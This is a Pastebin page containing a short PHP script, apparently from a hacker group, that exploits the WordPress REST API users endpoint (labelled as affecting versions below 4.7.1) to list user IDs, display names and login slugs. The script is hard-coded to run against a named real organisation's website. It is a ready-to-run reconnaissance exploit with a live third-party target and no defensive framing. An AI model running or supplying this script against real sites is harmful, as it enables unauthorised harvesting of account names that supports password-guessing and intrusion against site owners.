Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- #Author: Mateus a.k.a Dctor
- #fb: fb.com/hatbashbr/
- #E-mail: dctoralves@protonmail.ch
- #Site: https://mateuslino.tk
- header ('Content-type: text/html; charset=UTF-8');
- $url= "https://www.obama.org";
- $payload="/wp-json/wp/v2/users/";
- $urli = file_get_contents($url.$payload);
- $json = json_decode($urli, true);
- if($json){
- echo "======================== [ N45HT ] ========================\n";
- echo "\n";
- echo "\n";
- echo "Wordpress < 4.7.1 - Username Enumeration . recoded by ShinChan\n";
- echo "target : ".$url."\n";
- echo "\n";
- foreach($json as $users){
- echo "[*] ID : |" .$users['id'] ."|\n";
- echo "[*] Name: |" .$users['name'] ."|\n";
- echo "[*] User :|" .$users['slug'] ."|\n";
- echo "\n";
- }echo "======================== [ N45HT ] ========================";}
- else{echo "[*] No user";}
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement